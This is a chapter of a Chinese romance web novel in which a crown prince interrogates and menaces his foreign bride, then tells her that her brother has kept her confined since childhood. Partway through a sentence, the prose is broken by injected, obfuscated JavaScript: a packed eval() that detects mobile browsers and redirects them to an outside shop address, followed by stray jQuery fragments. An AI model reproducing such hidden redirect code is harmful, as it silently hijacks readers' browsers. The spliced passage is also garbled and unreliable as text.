文趣网 > 都市小说 > 太子的笼中雀 > 23. 圈养
    尽管成功逃跑的几率渺茫,可眼下唯一能做的好像也只剩逃跑了。

    公冶景昭起身欲逃,刚往前移步,谢珩便挺身拦住前路。

    冷冽清沉的龙涎香,刺得她神经隐隐作痛?

    她想向后退,身形壮硕与她身高相仿的金刚正盘踞船尾,浑身蓄势紧绷,只待她稍有动作,便会猛扑而上,尖利獠牙仿佛随时能划破她的脖颈。

    在公冶景昭眼中,谢珩可怖至极。

    分明是披着天使皮囊的魔鬼。

    世人皆称颂他温润端方、谦谦如玉,只有她清楚,他骨子里是个心思深沉,步步紧逼的伪君子。

    初见的刹那,她便敏锐嗅到蛰伏在他身上浓烈的危险气息。

    她站也不是,坐也难安,生理性的恐惧压得两行清泪不由自主滑落。

    谢珩缓步走近,抬手欲拭去她眼角泪痕,冰凉指腹刚触到她脸颊,她便本能偏头躲闪。

    却被他反手按住肩头,轻拍几下后将她按回座上。

    温和嗓音贴着耳畔响起。

    “怎么哭了?这般怕我?”

    公冶景昭闭口不语,身子控制不住地簌簌发抖,心底一遍遍期盼阿兄此刻能现身护她周全。

    谢珩手掌轻轻抚过她发冷颤抖的脊背,语气听似从容宽和:“我不过想听你讲讲过往经历,何必如此惊惧?”

    话语看似开明体谅,字字却裹挟着不容抗拒的威逼。

    公冶景昭掌心沁满冷汗,谢珩周身冷沉压抑的气场将她牢牢包裹,不留半分喘息余地,她怎能不怕?

    “大婚当夜,我已将自己的身份与过往尽数告知于你。”她声音发颤,“求你别再逼我,我实在害怕。”

    她怕他。

    谢珩抚在她后背的手缓缓上移,落在她后颈三寸之处,刺骨凉意引得她战栗更甚。

    “既然对我心生畏惧,为何还要一再撒谎?”

    说话间,他指尖微微收拢,精准扣住她的三寸,似要拿捏住她的命门。

    “我没有说谎。”

    公冶景昭吓得心神大乱,谢珩接连不断的逼问,几次快要击溃她的心防。

    可临行前母后含泪叮嘱的话语时时在耳畔回响,绝不能泄露半句兄长与她在梨园过往。

    她紧遵母后叮嘱,咬牙硬撑着不肯松口。

    “还敢否认!”谢珩眉色微冷,“你身为越国金枝玉叶的公主,不通琴棋书画,不懂宫廷礼仪,若自幼长于皇宫,怎会这般懵懂无知?”

    “那是因为……我并非自幼养在宫中的公主。”

    “我本是越国宰相嫡女。”

    “越国皇帝好色荒唐,总爱强抢臣妻,新鲜感一过,就弃之不顾。”

    “我生母就是被他强占的臣妻,我只是她带进宫里的拖油瓶,半点皇室血脉也没有。”

    “没过多久,我母亲就积郁成疾,撒手人寰。我无依无靠,在吃人一样的越宫里受尽冷眼磋磨,苟活度日。”

    她顿了顿,嗓音轻轻发哑:“是我名义上的兄长,公冶景明,拉了我一把。”

    冰冷漆黑的深宫里,只有他曾给过她一点暖意。

    “我皇兄,处处护着我,替我挡下所有欺辱,抚平我的惶恐不安。”

    “孤苦无依的我,早已把他当成绝境里唯一的依靠,唯一的救命稻草。”

    “他是我灰暗年少里唯一的光。”

    “可最后……”

    “那个唯一给过我光亮、被我视作全部依靠的兄长,偏偏是亲手把我推上和亲马车。”

    她还是以大婚夜同样的措辞搪塞。

    少女眸光闪躲,语声微颤,每每开口总要下意识停顿,双手局促地攥着衣料不肯放松,强装平静的神态根本藏不住慌乱。

    这些话,用来搪塞大婚夜对公冶景昭一无所知的谢珩还可以蒙混过去,如今的谢珩看来,简直破绽百出。

    “既是高门贵府出身,又怎会连基本规矩都一概不通?”

    为圆一个谎言,她只能再编造新的说辞遮掩。公冶景昭目光闪躲,低声回道:“我未满周岁,便随生母入宫居住。”

    “你的兄长,究竟为了什么要将你送来吴国和亲?”

    “我......不知道。”

    公冶景昭也想知道,为什么要将她送来吴国和亲。

    为什么要拆散她和兄长。

    为什么要将她嫁给人面兽心的伪君子谢珩!

    她还未理清前两个问题的关系,谢珩的下一个问题接踵而至。

    “越国皇后并非你的生母?”

    “不是。”

    “你与她毫无干系?”

    “并无关系。”

    谢珩将一叠信纸掷到她面前:“你来此一月,越国皇后日日寄信,再三嘱托我照看你,还屡屡送来价值不菲的珍宝让我转交。若你与她全无渊源,她何以待你这般上心?”

    “我不知道……我真的不清楚。”公冶景昭慌乱摇头,她与皇后相见寥寥,根本无从解释这份关切。

    “你的说辞处处漏洞,不堪一击。”

    “公冶景昭,你真的不会撒谎,你的表情和动作早就出卖了你。”

    即便如此,公冶景昭依旧紧抿双唇不肯多言。

    母后再三嘱咐,她与阿兄的过往绝不能让外人知晓分毫,她只能死守这个秘密。

    “公冶景昭,我怀疑你是假冒公主前来和亲。”

    谢珩目光沉沉锁住她,“真正的和亲公主身在何处?你刻意潜入东宫接近我,究竟有什么目的?”

    “我没有!”她急忙辩驳,“我是正统越国公主,确是奉旨前来和亲。”

    “可你方才才说,自己并非真正的公主。”

    “我……”大婚夜情急之下的谎言,此刻成了困住她的枷锁。

    公冶景昭崩溃捂住脸,哽咽哀求谢珩不要再逼问。

    “我绝不会伤害你与吴国。”

    “我的私事本与你无关,只求你高抬贵手,不要再追问下去。”

    “我已答应过母后,绝不向任何人吐露我与皇兄之间的隐秘。”

    谢珩冷眼旁观,已然摸清两处关键。

    其一,公冶景昭确是越国皇后的血脉。

    其二,她与越国太子公冶景明之间,藏着一段不可对外人言说的秘密。

    谢珩垂眸看着崩溃落泪的少女,语调平稳却带着不容置喙的笃定。

    “如今你已是我的太子妃,你我结为夫妻,何来无关一说?”

    “你的事,便是我的事,我理应知晓全貌。”

    “况且你如何保证,你刻意隐瞒的过往,不会暗中危及吴国安危?这件事,我必须弄清楚。”

    话落,谢珩转开视线望向船尾蓄势低吼的金刚。

    “金刚许久未曾与人相伴玩耍,你哭得这般难过,不如让

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787980|210237||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    它陪你玩一会儿。”

    “只是它体型壮硕、力气极大,若是一时兴奋失了分寸,很容易误伤旁人,万一将你的胳膊抓伤、腿脚咬伤,反倒会有些麻烦。”

    公冶景昭浑身一颤,泪眼婆娑地望着他。

    公冶景昭骤然反应过来,他这番话分明是在暗示,若执意不肯吐露秘密,他竟是要拿自己喂狗!

    此时画舫靠岸。

    谢珩缓缓直起身作势要迈步离开画舫,丝毫没有要带她一起离开的意思。

    公冶景昭心头一紧,慌忙伸出手死死攥住他的衣袖,眼眶通红,泪珠簌簌滚落,声泪俱下地哀求。

    “别走,求求你别丢下我一个人……我不想单独和金刚待在一起。”

    船尾的金刚敏锐察觉到她语气里的抗拒与惧怕,脖颈鬃毛尽数炸开,低沉凶狠的咆哮响彻湖面,粗壮的四肢不停扒挠着甲板,拴住它的铁链绷得笔直,只差寸许,尖利的獠牙便能触到瑟瑟发抖的少女。

    谢珩停下脚步,垂眸看向紧抓着自己衣摆的公冶景昭,语气淡漠地再次发问,“现在,肯说了吗?”

    公冶景昭望着眼前步步紧逼的谢珩,又瞥了眼身后狂吠不止的藏獒,连日紧绷的心弦渐渐松动。

    她暗自思忖,自己与阿兄在黎园相依相伴的过往本就清白坦荡,并无半点害人之心,不过是父皇、母后与旁人过度忌惮,小题大做罢了。

    她和兄长从来没有做错什么。

    几番挣扎后,她深吸一口气,咬了咬发颤的下唇,哑着嗓子开口。

    “我说……我把一切都告诉你。”

    “打从我记事起,便一直住在黎园。那座院落十分宽阔,慢悠悠走完整座园子,也要耗上大半日,只是气派远不及皇宫。”

    “园内从不见外人踏入,日子安静得一成不变,我的世界自始至终,就只有阿兄一人。”

    “是他陪我长大,教我辨识万物、分辨情绪,我眼里看见的一切、心里懂得的所有事理,全都源自于他。”

    话落,谢珩对公冶景昭的一切,了然于胸。

    谢珩淡淡开口:“你出过黎园吗?”

    “没有。”

    “是他不许你出去?”

    “不是的!”公冶景昭听见这话,立刻急切地反驳。

    “阿兄说外面世道凶险,有专抓孩童和年轻女子的恶鬼,只有待在黎园里才不会被伤害,黎园是世上最安稳的地方,那些恶鬼全都不敢靠近这里。”

    谢珩低低嗤笑一声,笑意浅淡,眼底却无半分暖意。

    “你笑什么?”少女怯怯抬眼,满心不解。

    这珩不答,转头问了另外一个问题。

    “黎园之中,除了你和你兄长,还有旁人吗?”

    “有的。”

    “都是些什么人?”

    “帮我梳洗的小翠,陪我解闷玩耍的芳芳和红红,打理园杂事务的许姨,常给我讲故事的琉璃姐姐,还有许许多多伺候的下人……”她认真细数,语气全然天真,“阿兄说,黎园里的一切都属于我,小翠她们、所有下人,全都要听我的吩咐。”

    谢珩望着她纯粹懵懂的模样,语气平静却字字锋利。

    “公冶景昭,你到如今还看不明白吗?你的好兄长,一直在圈养你。”

    “圈养……?”

    公冶景昭怔怔重复着陌生的词,眼底满是茫然,“那是什么意思?”